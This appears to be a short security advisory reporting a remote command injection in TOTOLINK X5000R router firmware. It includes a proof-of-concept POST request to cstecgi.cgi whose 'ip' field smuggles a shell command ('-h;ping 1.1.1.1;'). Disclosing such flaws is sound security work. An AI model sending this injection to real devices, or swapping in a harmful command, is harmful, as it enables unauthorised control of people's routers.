changed 4 years ago  
Linked with GitHub

totolink vulnerability

vendor:TOTOLINK

product:X5000R;

version:X5000R(V9.1.0u.6118_B20201102)

type:Remote Command Execution

author:Jinwen Zhou、Yifeng Li、Yongjie Zheng

institution:potatso@scnu、feng@scnu、eifiz@scnu

Vulnerability description

We found an Command Injection vulnerability and buffer overflow vulnerability in TOTOLINK Technology router with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted request.

Remote Command Injection vulnerability

In this function,ip is directly passed by the attacker, so we can control the ip to attack the OS.

PoC

Remote Command Injection

We set the value of ip as -h;ping 1.1.1.1; and the router will excute ping command,such as:

POST http://example.com/cgi-bin/cstecgi.cgi?action=s

{"topicurl":"setDiagnosisCfg","ip":"-h;ping 1.1.1.1;","num":"500"}
Select a repo